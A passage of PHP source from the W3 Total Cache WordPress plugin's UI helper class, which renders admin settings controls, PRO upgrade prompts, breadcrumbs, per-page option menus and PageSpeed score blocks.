		if ( ! isset( $a['no_wrap'] ) ) {
			$show_learn_more = isset( $a['show_learn_more'] ) && is_bool( $a['show_learn_more'] ) ? $a['show_learn_more'] : true;
			self::pro_wrap_maybe_end( $a['control_name'], $show_learn_more );
		}

		if ( 'w3tc_no_trtd' !== $a['label_class'] ) {
			echo ( isset( $a['style'] ) ? '</th>' : '</td>' );
			echo "</tr>\n";
		}
	}

	public static function config_item_preprocess( $a ) {
		$c = Dispatcher::config();

		if ( ! isset( $a['value'] ) || is_null( $a['value'] ) ) {
			$a['value'] = $c->get( $a['key'] ) ?? '';
			if ( is_array( $a['value'] ) ) {
				$a['value'] = implode( "\n", $a['value'] );
			}
		}

		if ( ! isset( $a['disabled'] ) || is_null( $a['disabled'] ) ) {
			$a['disabled'] = $c->is_sealed( $a['key'] );
		}

		if ( empty( $a['label'] ) ) {
			$a['label'] = self::config_label( $a['key'] );
		}

		$a['control_name'] = self::config_key_to_http_name( $a['key'] );
		$a['label_class']  = empty( $a['label_class'] ) ? '' : $a['label_class'];
		if ( empty( $a['label_class'] ) && 'checkbox' === $a['control'] ) {
			$a['label_class'] = 'w3tc_config_checkbox';
		}

		$action_key = $a['key'];
		if ( is_array( $action_key ) ) {
			$action_key = 'extension.' . $action_key[0] . '.' . $action_key[1];
		}

		return apply_filters( 'w3tc_ui_config_item_' . $action_key, $a );
	}

	/**
	 * Displays config item - caching engine selectbox
	 */
	public static function config_item_engine( $a ) {
		if ( isset( $a['empty_value'] ) && $a['empty_value'] ) {
			$values[''] = array(
				'label' => 'Please select a method',
			);
		}

		$values['file']         = array(
			'label'    => __( 'Disk', 'w3-total-cache' ),
			'optgroup' => 0,
		);
		$values['apc']          = array(
			'disabled' => ! Util_Installed::apc(),
			'label'    => __( 'Opcode: Alternative PHP Cache (APC / APCu)', 'w3-total-cache' ),
			'optgroup' => 1,
		);
		$values['eaccelerator'] = array(
			'disabled' => ! Util_Installed::eaccelerator(),
			'label'    => __( 'Opcode: eAccelerator', 'w3-total-cache' ),
			'optgroup' => 1,
		);
		$values['xcache']       = array(
			'disabled' => ! Util_Installed::xcache(),
			'label'    => __( 'Opcode: XCache', 'w3-total-cache' ),
			'optgroup' => 1,
		);
		$values['wincache']     = array(
			'disabled' => ! Util_Installed::wincache(),
			'label'    => __( 'Opcode: WinCache', 'w3-total-cache' ),
			'optgroup' => 1,
		);
		$values['memcached']    = array(
			'disabled' => ! Util_Installed::memcached(),
			'label'    => __( 'Memcached', 'w3-total-cache' ),
			'optgroup' => 2,
		);
		$values['redis']        = array(
			'disabled' => ! Util_Installed::redis(),
			'label'    => __( 'Redis', 'w3-total-cache' ),
			'optgroup' => 2,
		);

		$item_engine_config = array(
			'key'                 => $a['key'],
			'label'               => ( isset( $a['label'] ) ? $a['label'] : null ),
			'disabled'            => ( isset( $a['disabled'] ) ? $a['disabled'] : null ),
			'control'             => 'selectbox',
			'selectbox_values'    => $values,
			'selectbox_optgroups' => array(
				__( 'Shared Server:', 'w3-total-cache' ),
				__( 'Dedicated / Virtual Server:', 'w3-total-cache' ),
				__( 'Multiple Servers:', 'w3-total-cache' ),
			),
			'control_after'       => isset( $a['control_after'] ) ? $a['control_after'] : null,
		);

		if ( isset( $a['pro'] ) ) {
			self::config_item_pro( $item_engine_config );
		} else {
			self::config_item( $item_engine_config );
		}
	}

	public static function pro_wrap_maybe_start() {
		if ( Util_Environment::is_w3tc_pro( Dispatcher::config() ) ) {
			return;
		}

		?>
		<div class="w3tc-gopro">
			<div class="w3tc-gopro-ribbon"><span>&bigstar; PRO</span></div>
			<div class="w3tc-gopro-content">
		<?php
	}

	public static function pro_wrap_description( $excerpt_clean, $description, $data_href ) {
		echo '<p class="description w3tc-gopro-excerpt">' . wp_kses( $excerpt_clean, self::get_allowed_html_for_wp_kses_from_content( $excerpt_clean ) ) . '</p>';

		if ( ! empty( $description ) ) {
			$d = array_map(
				function( $e ) {
					return '<p class="description">' . wp_kses( $e, self::get_allowed_html_for_wp_kses_from_content( $e ) ) . '</p>';
				},
				$description
			);

			$descriptions = implode( "\n", $d );

			echo '<div class="w3tc-gopro-description">' . wp_kses( $descriptions, self::get_allowed_html_for_wp_kses_from_content( $descriptions ) ) . '</div>';
			echo '<a href="#" class="w3tc-gopro-more" data-href="w3tc-gopro-more-' . esc_url( $data_href ) . '">' . esc_html( __( 'Show More', 'w3-total-cache' ) ) . '<span class="dashicons dashicons-arrow-down-alt2"></span></a>';
		}
	}

	public static function pro_wrap_maybe_end( $button_data_src, $show_learn_more = true ) {
		if ( Util_Environment::is_w3tc_pro( Dispatcher::config() ) ) {
			return;
		}

		?>
			</div>
			<?php if ( $show_learn_more ) { ?>
			<div class="w3tc-gopro-action">
				<button class="button w3tc-gopro-button button-buy-plugin" data-src="<?php echo esc_attr( $button_data_src ); ?>">
					Learn more about Pro
				</button>
			</div>
			<?php } ?>
		</div>
		<?php
	}

	public static function pro_wrap_maybe_start2() {
		if ( Util_Environment::is_w3tc_pro( Dispatcher::config() ) ) {
			return;
		}

		?>
		<div class="updated w3tc_note" id="licensing_terms" style="display: flex; align-items: center">
			<p style="flex-grow: 1">
		<?php
	}

	public static function pro_wrap_maybe_end2( $button_data_src, $show_unlock_feature = true ) {
		if ( Util_Environment::is_w3tc_pro( Dispatcher::config() ) ) {
			return;
		}

		?>
			</p>
			<?php if ( $show_unlock_feature ) { ?>
			<div style="text-align: right">
				<button class="button w3tc-gopro-button button-buy-plugin" data-src="<?php echo esc_attr( $button_data_src ); ?>">
					Unlock Feature
				</button>
			</div>
			<?php } ?>
		</div>
		<?php
	}



	/**
	 * On subblogs - shows button to enable/disable custom configuration
	 *   $a['key'] - config key *_overloaded which are managed
	 */
	public static function config_overloading_button( $a ) {
		$c = Dispatcher::config();
		if ( $c->is_master() ) {
			return;
		}

		if ( $c->get_boolean( $a['key'] ) ) {
			$name  = 'w3tc_config_overloaded_disable~' . self::config_key_to_http_name( $a['key'] );
			$value = __( 'Use common settings', 'w3-total-cache' );
		} else {
			$name  = 'w3tc_config_overloaded_enable~' . self::config_key_to_http_name( $a['key'] );
			$value = __( 'Use specific settings', 'w3-total-cache' );
		}

		echo '<div style="float: right">';
		echo '<input type="submit" class="button"
			 name="' . esc_attr( $name ) . '"
			 value="' . esc_attr( $value ) . '" />';
		echo '</div>';
	}

	/**
	 * Get the admin URL based on the path and the interface (network or site).
	 *
	 * @param  string $path Admin path/URI.
	 * @return string
	 */
	public static function admin_url( $path ) {
		return is_network_admin() ? network_admin_url( $path ) : admin_url( $path );
	}

	/**
	 * Returns a preview link with current state
	 *
	 * @return string
	 */
	public static function preview_link() {
		return self::button_link(
			__( 'Preview', 'w3-total-cache' ),
			self::url( array( 'w3tc_default_previewing' => 'y' ) ),
			true
		);
	}

	/**
	 * Takes seconds and converts to array('Nh ','Nm ', 'Ns ', 'Nms ') or "Nh Nm Ns Nms"
	 *
	 * @param unknown $input
	 * @param bool    $string
	 * @return array|string
	 */
	public static function secs_to_time( $input, $string = true ) {
		$input   = (float) $input;
		$time    = array();
		$msecs   = floor( $input * 1000 % 1000 );
		$seconds = $input % 60;

		$minutes = floor( $input / 60 ) % 60;
		$hours   = floor( $input / 60 / 60 ) % 60;

		if ( $hours ) {
			$time[] = $hours;
		}
		if ( $minutes ) {
			$time[] = sprintf( '%dm', $minutes );
		}
		if ( $seconds ) {
			$time[] = sprintf( '%ds', $seconds );
		}
		if ( $msecs ) {
			$time[] = sprintf( '%dms', $msecs );
		}

		if ( empty( $time ) ) {
			$time[] = sprintf( '%dms', 0 );
		}
		if ( $string ) {
			return implode( ' ', $time );
		}
		return $time;
	}

	/**
	 * Returns option name accepted by W3TC as http paramter from its id (full name from config file).
	 *
	 * @param mixed $id ID key string/array.
	 *
	 * @return string
	 */
	public static function config_key_to_http_name( $id ) {
		$id = isset( $id ) ? $id : '';

		if ( is_array( $id ) ) {
			$id = $id[0] . '___' . $id[1];
		}

		return str_replace( '.', '__', $id );
	}

	/*
	 * Converts configuration key returned in http _GET/_POST
	 * to configuration key
	 */
	public static function config_key_from_http_name( $http_key ) {
		$a = explode( '___', $http_key );
		if ( count( $a ) === 2 ) {
			$a[0] = self::config_key_from_http_name( $a[0] );
			$a[1] = self::config_key_from_http_name( $a[1] );
			return $a;
		}

		return str_replace( '__', '.', $http_key );
	}

	public static function get_allowed_html_for_wp_kses_from_content( $content ) {
		$allowed_html = array();

		if ( empty( $content ) ) {
			return $allowed_html;
		}

		$dom = new DOMDocument();
		@$dom->loadHTML( $content );
		foreach ( $dom->getElementsByTagName( '*' ) as $tag ) {
			$tagname = $tag->tagName;
			foreach ( $tag->attributes as $attribute_name => $attribute_val ) {
				$allowed_html[ $tagname ][ $attribute_name ] = array();
			}
			$allowed_html[ $tagname ] = empty( $allowed_html[ $tagname ] ) ? array() : $allowed_html[ $tagname ];
		}
		return $allowed_html;
	}

	/**
	 * Prints breadcrumb
	 *
	 * @return void
	 */
	public static function print_breadcrumb() {
		$page         = ! empty( Util_Admin::get_current_extension() ) ? Util_Admin::get_current_extension() : Util_Admin::get_current_page();
		$page_mapping = Util_PageUrls::get_page_mapping( $page );
		$parent       = isset( $page_mapping['parent_name'] ) ?
			'<span class="dashicons dashicons-arrow-right-alt2"></span><a href="' . esc_url( $page_mapping['parent_link'] ) . '">' . esc_html( $page_mapping['parent_name'] ) . '</a>' : '';
		$current      = isset( $page_mapping['page_name'] ) ?
			'<span class="dashicons dashicons-arrow-right-alt2"></span><span>' . esc_html( $page_mapping['page_name'] ) . '</span>' : '';
		?>
		<p id="w3tc-breadcrumb">
			<span class="dashicons dashicons-admin-home"></span>
			<a href="<?php echo esc_url( self::admin_url( 'admin.php?page=w3tc_dashboard' ) ); ?>">W3 Total Cache</a>
			<?php echo wp_kses( $parent, self::get_allowed_html_for_wp_kses_from_content( $parent ) ); ?>
			<?php echo wp_kses( $current, self::get_allowed_html_for_wp_kses_from_content( $current ) ); ?>
		</p>
		<?php
	}

	/**
	 * Prints the options anchor menu
	 *
	 * @param array $custom_areas Custom Areas.
	 * @return void
	 */
	public static function print_options_menu( $custom_areas = array() ) {
		$config            = Dispatcher::config();
		$state             = Dispatcher::config_state();
		$page              = Util_Admin::get_current_page();
		$show_purge_link   = 'bunnycdn' === $config->get_string( 'cdn.engine' ) || 'bunnycdn' === $config->get_string( 'cdnfsd.engine' );
		$licensing_visible = (
			( ! Util_Environment::is_wpmu() || is_network_admin() ) &&
			! ini_get( 'w3tc.license_key' ) &&
			'host_valid' !== $state->get_string( 'license.status' )
		);

		switch ( $page ) {
			case 'w3tc_general':
				if ( ! empty( $_REQUEST['view'] ) ) {
					break;
				}

				$message_bus_link = array();
				if ( Util_Environment::is_w3tc_pro( $config ) ) {
					$message_bus_link = array(
						array(
							'id'   => 'amazon_sns',
							'text' => esc_html__( 'Message Bus', 'w3-total-cache' ),
						),
					);
				}

				$licensing_link = array();
				if ( $licensing_visible ) {
					$licensing_link = array(
						array(
							'id'   => 'licensing',
							'text' => esc_html__( 'Licensing', 'w3-total-cache' ),
						),
					);
				}

				$links = array_merge(
					array(
						array(
							'id'   => 'general',
							'text' => esc_html__( 'General', 'w3-total-cache' ),
						),
						array(
							'id'   => 'page_cache',
							'text' => esc_html__( 'Page Cache', 'w3-total-cache' ),
						),
						array(
							'id'   => 'minify',
							'text' => esc_html__( 'Minify', 'w3-total-cache' ),
						),
						array(
							'id'   => 'system_opcache',
							'text' => esc_html__( 'Opcode Cache', 'w3-total-cache' ),
						),
						array(
							'id'   => 'database_cache',
							'text' => esc_html__( 'Database Cache', 'w3-total-cache' ),
						),
						array(
							'id'   => 'object_cache',
							'text' => esc_html__( 'Object Cache', 'w3-total-cache' ),
						),
						array(
							'id'   => 'browser_cache',
							'text' => esc_html__( 'Browser Cache', 'w3-total-cache' ),
						),
						array(
							'id'   => 'cdn',
							'text' => wp_kses(
								sprintf(
									// translators: 1 opening HTML abbr tag, 2 closing HTML abbr tag.
									__(
										'%1$sCDN%2$s',
										'w3-total-cache'
									),
									'<abbr title="' . esc_attr__( 'Content Delivery Network', 'w3-total-cache' ) . '">',
									'</abbr>'
								),
								array(
									'abbr' => array(
										'title' => array(),
									),
								)
							),
						),
						array(
							'id'   => 'reverse_proxy',
							'text' => esc_html__( 'Reverse Proxy', 'w3-total-cache' ),
						),
					),
					$message_bus_link,
					$custom_areas,
					$licensing_link,
					array(
						array(
							'id'   => 'miscellaneous',
							'text' => esc_html__( 'Miscellaneous', 'w3-total-cache' ),
						),
						array(
							'id'   => 'debug',
							'text' => esc_html__( 'Debug', 'w3-total-cache' ),
						),
						array(
							'id'   => 'image_service',
							'text' => esc_html__( 'WebP Converter', 'w3-total-cache' ),
						),
						array(
							'id'   => 'google_pagespeed',
							'text' => __( 'Google PageSpeed', 'w3-total-cache' ),
						),
						array(
							'id'   => 'settings',
							'text' => esc_html__( 'Import / Export Settings', 'w3-total-cache' ),
						),
					)
				);

				$links_buff = array();
				foreach ( $links as $link ) {
					$links_buff[] = "<a href=\"#{$link['id']}\">{$link['text']}</a>";
				}

				?>
				<div id="w3tc-options-menu">
					<?php
					echo wp_kses(
						implode( ' | ', $links_buff ),
						array(
							'a' => array(
								'href'  => array(),
								'class' => array(),
							),
						)
					);
					?>
				</div>
				<?php
				break;

			case 'w3tc_pgcache':
				?>
				<div id="w3tc-options-menu">
					<a href="#general"><?php esc_html_e( 'General', 'w3-total-cache' ); ?></a> |
					<a href="#mirrors"><?php esc_html_e( 'Aliases', 'w3-total-cache' ); ?></a> |
					<a href="#cache_preload"><?php esc_html_e( 'Cache Preload', 'w3-total-cache' ); ?></a> |
					<a href="#purge_policy"><?php esc_html_e( 'Purge Policy', 'w3-total-cache' ); ?></a> |
					<a href="#rest"><?php esc_html_e( 'Rest API', 'w3-total-cache' ); ?></a> |
					<a href="#advanced"><?php esc_html_e( 'Advanced', 'w3-total-cache' ); ?></a> |
					<a href="#notes"><?php esc_html_e( 'Note(s)', 'w3-total-cache' ); ?></a>
				</div>
				<?php
				break;

			case 'w3tc_minify':
				?>
				<div id="w3tc-options-menu">
					<a href="#general"><?php esc_html_e( 'General', 'w3-total-cache' ); ?></a> |
					<a href="#html_xml">
						<?php
						echo wp_kses(
							sprintf(
								// translators: 1 opening HTML acronym tag, 2 closing HTML acronym tag,
								// translators: 3 opening HTML acronym tag, 4 closing HTML acronym tag.
								__(
									'%1$sHTML%2$s &amp; %3$sXML%4$s',
									'w3-total-cache'
								),
								'<acronym title="' . esc_attr__( 'Hypertext Markup Language', 'w3-total-cache' ) . '">',
								'</acronym>',
								'<acronym title="' . esc_attr__( 'eXtensible Markup Language', 'w3-total-cache' ) . '">',
								'</acronym>'
							),
							array(
								'acronym' => array(
									'title' => array(),
								),
							)
						);
						?>
					</a> |
					<a href="#js">
						<?php
						echo wp_kses(
							sprintf(
								// translators: 1 opening HTML acronym tag, 2 closing HTML acronym tag.
								__(
									'%1$sJS%2$s',
									'w3-total-cache'
								),
								'<acronym title="' . esc_attr__( 'JavaScript', 'w3-total-cache' ) . '">',
								'</acronym>'
							),
							array(
								'acronym' => array(
									'title' => array(),
								),
							)
						);
						?>
					</a> |
					<a href="#css">
						<?php
						echo wp_kses(
							sprintf(
								// translators: 1 opening HTML acronym tag, 2 closing HTML acronym tag.
								__(
									'%1$sCSS%2$s',
									'w3-total-cache'
								),
								'<acronym title="' . esc_attr__( 'Cascading Style Sheet', 'w3-total-cache' ) . '">',
								'</acronym>'
							),
							array(
								'acronym' => array(
									'title' => array(),
								),
							)
						);
						?>
					</a> |
					<a href="#advanced"><?php esc_html_e( 'Advanced', 'w3-total-cache' ); ?></a> |
					<a href="#notes"><?php esc_html_e( 'Note(s)', 'w3-total-cache' ); ?></a>
				</div>
				<?php
				break;

			case 'w3tc_dbcache':
				?>
				<div id="w3tc-options-menu">
					<a href="#general"><?php esc_html_e( 'General', 'w3-total-cache' ); ?></a> |
					<a href="#advanced"><?php esc_html_e( 'Advanced', 'w3-total-cache' ); ?></a>
				</div>
				<?php
				break;

			case 'w3tc_objectcache':
				?>
				<div id="w3tc-options-menu">
					<!--<a href="#advanced"><?php esc_html_e( 'Advanced', 'w3-total-cache' ); ?></a>-->
				</div>
				<?php
				break;

			case 'w3tc_browsercache':
				?>
				<div id="w3tc-options-menu">
					<a href="#general"><?php esc_html_e( 'General', 'w3-total-cache' ); ?></a> |
					<a href="#css_js">
						<?php
						echo wp_kses(
							sprintf(
								// translators: 1 opening HTML acronym tag, 2 closing HTML acronym tag,
								// translators: 3 opening HTML acronym tag, 4 closing HTML acronym tag.
								__(
									'%1$sCSS%2$s &amp; %3$sJS%4$s',
									'w3-total-cache'
								),
								'<acronym title="' . esc_attr__( 'Cascading Style Sheet', 'w3-total-cache' ) . '">',
								'</acronym>',
								'<acronym title="' . esc_attr__( 'JavaScript', 'w3-total-cache' ) . '">',
								'</acronym>'
							),
							array(
								'acronym' => array(
									'title' => array(),
								),
							)
						);
						?>
					</a> |
					<a href="#html_xml">
						<?php
						echo wp_kses(
							sprintf(
								// translators: 1 opening HTML acronym tag, 2 closing HTML acronym tag,
								// translators: 3 opening HTML acronym tag, 4 closing HTML acronym tag.
								__(
									'%1$sHTML%2$s &amp; %3$sXML%4$s',
									'w3-total-cache'
								),
								'<acronym title="' . esc_attr__( 'Hypertext Markup Language', 'w3-total-cache' ) . '">',
								'</acronym>',
								'<acronym title="' . esc_attr__( 'eXtensible Markup Language', 'w3-total-cache' ) . '">',
								'</acronym>'
							),
							array(
								'acronym' => array(
									'title' => array(),
								),
							)
						);
						?>
					</a> |
					<a href="#media"><?php esc_html_e( 'Media', 'w3-total-cache' ); ?></a> |
					<a href="#security"><?php esc_html_e( 'Security Headers', 'w3-total-cache' ); ?></a>
				</div>
				<?php
				break;

			case 'w3tc_cachegroups':
				?>
				<div id="w3tc-options-menu">
					<a href="#manage-uag"><?php esc_html_e( 'Manage User Agent Groups', 'w3-total-cache' ); ?></a> |
					<a href="#manage-rg"><?php esc_html_e( 'Manage Referrer Groups', 'w3-total-cache' ); ?></a> |
					<a href="#manage-cg"><?php esc_html_e( 'Manage Cookie Groups', 'w3-total-cache' ); ?></a>
				</div>
				<?php
				break;

			case 'w3tc_cdn':
				?>
				<div id="w3tc-options-menu">
					<a href="#general"><?php esc_html_e( 'General', 'w3-total-cache' ); ?></a> |
				<?php if ( ! empty( $config->get_string( 'cdn.engine' ) ) ) : ?>
					<a href="#configuration"><?php esc_html_e( 'Configuration (Objects)', 'w3-total-cache' ); ?></a> |
				<?php endif; ?>
				<?php if ( ! empty( $config->get_string( 'cdnfsd.engine' ) ) ) : ?>
					<a href="#configuration-fsd"><?php esc_html_e( 'Configuration (FSD)', 'w3-total-cache' ); ?></a> |
				<?php endif; ?>
				<?php if ( $show_purge_link ) : ?>
					<a href="#purge-urls"><?php esc_html_e( 'Purge', 'w3-total-cache' ); ?></a> |
				<?php endif; ?>
					<a href="#advanced"><?php esc_html_e( 'Advanced', 'w3-total-cache' ); ?></a> |
					<a href="#notes"><?php esc_html_e( 'Note(s)', 'w3-total-cache' ); ?></a>
				</div>
				<?php
				break;

			case 'w3tc_userexperience':
				?>
				<div id="w3tc-options-menu">
					<?php
					$subnav_links = array( '<a href="#lazy-loading">' . esc_html__( 'Lazy Loading', 'w3-total-cache' ) . '</a>' );

					if ( UserExperience_DeferScripts_Extension::is_enabled() ) {
						$subnav_links[] = '<a href="#defer-scripts">' . esc_html__( 'Delay Scripts', 'w3-total-cache' ) . '</a>';
					}

					if ( UserExperience_Remove_CssJs_Extension::is_enabled() ) {
						$subnav_links[] = '<a href="#remove-cssjs">' . esc_html__( 'Remove CSS/JS On Homepage', 'w3-total-cache' ) . '</a>';
						$subnav_links[] = '<a href="#remove-cssjs-singles">' . esc_html__( 'Remove CSS/JS Individually', 'w3-total-cache' ) . '</a>';
					}

					if ( UserExperience_Preload_Requests_Extension::is_enabled() ) {
						$subnav_links[] = '<a href="#preload-requests">' . esc_html__( 'Preload Requests', 'w3-total-cache' ) . '</a>';
					}

					// If there's only 1 meta box on the page, no need for nav links.
					echo count( $subnav_links ) > 1 ? implode( ' | ', $subnav_links ) : '';
					?>
				</div>
				<?php
				break;

			case 'w3tc_install':
				?>
				<div id="w3tc-options-menu">
					<a href="#initial"><?php esc_html_e( 'Initial Installation', 'w3-total-cache' ); ?></a> |
					<?php if ( count( $rewrite_rules_descriptors ) ) : ?>
						<a href="#rules"><?php esc_html_e( 'Rewrite Rules', 'w3-total-cache' ); ?></a> |
					<?php endif ?>
					<?php if ( count( $other_areas ) ) : ?>
						<a href="#other"><?php esc_html_e( 'Other', 'w3-total-cache' ); ?></a> |
					<?php endif ?>
					<a href="#additional"><?php esc_html_e( 'Services', 'w3-total-cache' ); ?></a> |
					<a href="#modules">
						<?php
						echo wp_kses(
							sprintf(
								// translators: 1 opening HTML acronym tag, 2 closing HTML acronym tag.
								__(
									'%1$sPHP%2$s Modules',
									'w3-total-cache'
								),
								'<acronym title="' . esc_attr__( 'Hypertext Preprocessor', 'w3-total-cache' ) . '">',
								'</acronym>'
							),
							array(
								'acronym' => array(
									'title' => array(),
								),
							)
						);
						?>
					</a>
				</div>
				<?php
				break;

			case 'w3tc_fragmentcache':
				?>
				<div id="w3tc-options-menu">
					<a href="#overview"><?php esc_html_e( 'Overview', 'w3-total-cache' ); ?></a> |
					<a href="#advanced"><?php esc_html_e( 'Advanced', 'w3-total-cache' ); ?></a>
				</div>
				<?php
				break;

			case 'w3tc_monitoring':
				?>
				<div id="w3tc-options-menu">
					<a href="#application"><?php esc_html_e( 'Application', 'w3-total-cache' ); ?></a> |
					<a href="#dashboard"><?php esc_html_e( 'Dashboard', 'w3-total-cache' ); ?></a> |
					<a href="#behavior"><?php esc_html_e( 'Behavior', 'w3-total-cache' ); ?></a>
				</div>
				<?php
				break;

			case 'w3tc_extension_page_imageservice':
				?>
				<div id="w3tc-options-menu">
					<a href="#configuration"><?php esc_html_e( 'Configuration', 'w3-total-cache' ); ?></a> |
					<a href="#tools"><?php esc_html_e( 'Tools', 'w3-total-cache' ); ?></a> |
					<a href="#statistics"><?php esc_html_e( 'Statistics', 'w3-total-cache' ); ?></a>
				</div>
				<?php
				break;

			case 'w3tc_extensions':
				$extension = Util_Admin::get_current_extension();
				switch ( $extension ) {
					case 'cloudflare':
						?>
						<div id="w3tc-options-menu">
							<a href="#credentials"><?php esc_html_e( 'Credentials', 'w3-total-cache' ); ?></a> |
							<a href="#general"><?php esc_html_e( 'General', 'w3-total-cache' ); ?></a>
						</div>
						<?php
						break;

					case 'amp':
						?>
						<div id="w3tc-options-menu">
							<!--<a href="#configuration"><?php esc_html_e( 'Configuration', 'w3-total-cache' ); ?></a>-->
						</div>
						<?php
						break;

					case 'swarmify':
						?>
						<div id="w3tc-options-menu">
							<a href="#configuration"><?php esc_html_e( 'Configuration', 'w3-total-cache' ); ?></a> |
							<a href="#behavior"><?php esc_html_e( 'Behavior Settings', 'w3-total-cache' ); ?></a>
						</div>
						<?php
						break;

					case 'genesis':
						?>
						<div id="w3tc-options-menu">
							<a href="#header"><?php esc_html_e( 'Header', 'w3-total-cache' ); ?></a> |
							<a href="#content"><?php esc_html_e( 'Content', 'w3-total-cache' ); ?></a> |
							<a href="#sidebar"><?php esc_html_e( 'Sidebar', 'w3-total-cache' ); ?></a> |
							<a href="#exclusions"><?php esc_html_e( 'Exclusions', 'w3-total-cache' ); ?></a>
						</div>
						<?php
						break;
				}
			default:
				?>
				<div id="w3tc-options-menu"></div>
				<?php
				break;
		}
	}

	/**
	 * Gets the HTML markup for the Test Score Block.
	 *
	 * @param string $intro_label       Intro Label.
	 * @param string $score             Score Value.
	 * @param string $score_label       Score Label.
	 * @param string $score_description Score Description.
	 * @param string $score_link        Score Link.
	 */
	public static function get_score_block( $intro_label, $score, $score_label, $score_description, $score_link ) {
		$score_block = '
			<div class="w3tc-test-container-intro">
				<span class="w3tc-test-score">' . $score . '</span><b>' . esc_html( $intro_label ) . '</b><span class="dashicons dashicons-arrow-down-alt2" ></span>
			</div>
			<div class="w3tc-test-container">
				<div class="w3tc-test-score-container">
					<div class="w3tc-test-score">' . $score . '</div>
					<p class="w3tc-test-score-label">' . $score_label . '</p>
				</div>
				<div class="w3tc-test-description">
					<p>' . $score_description . ' <a target="_blank" href="' . esc_url( $score_link ) . '">' . esc_html__( 'Review the testing results', 'w3-total-cache' ) . '</a>' . esc_html__( ' to see how.', 'w3-total-cache' ) . '</p>
					<br/>
					<p><input type="button" class="button-primary btn button-buy-plugin" data-src="test_score_upgrade" value="' . esc_attr__( 'Upgrade to', 'w3-total-cache' ) . ' W3 Total Cache Pro">' . esc_html__( ' and improve your PageSpeed Scores today!', 'w3-total-cache' ) . '</p>
				</div>
			</div>';
		return $score_block;
	}

	/**
	 * Prints the Google PageSpeed score block that is built into the config_item_xxx methods.
	 * This allows for manual printing in places that may need it.
	 *
	 * @param string $intro_label       Intro Label.
	 * @param string $score             Score Value.
	 * @param string $score_label       Score Label.
	 * @param string $score_description Score Description.
	 * @param string $score_link        Score Link.
	 */
	public static function print_score_block( $intro_label, $score, $score_label, $score_description, $score_link ) {
		$score_block = self::get_score_block( $intro_label, $score, $score_label, $score_description, $score_link );
		echo wp_kses( $score_block, self::get_allowed_html_for_wp_kses_from_content( $score_block ) );
	}
}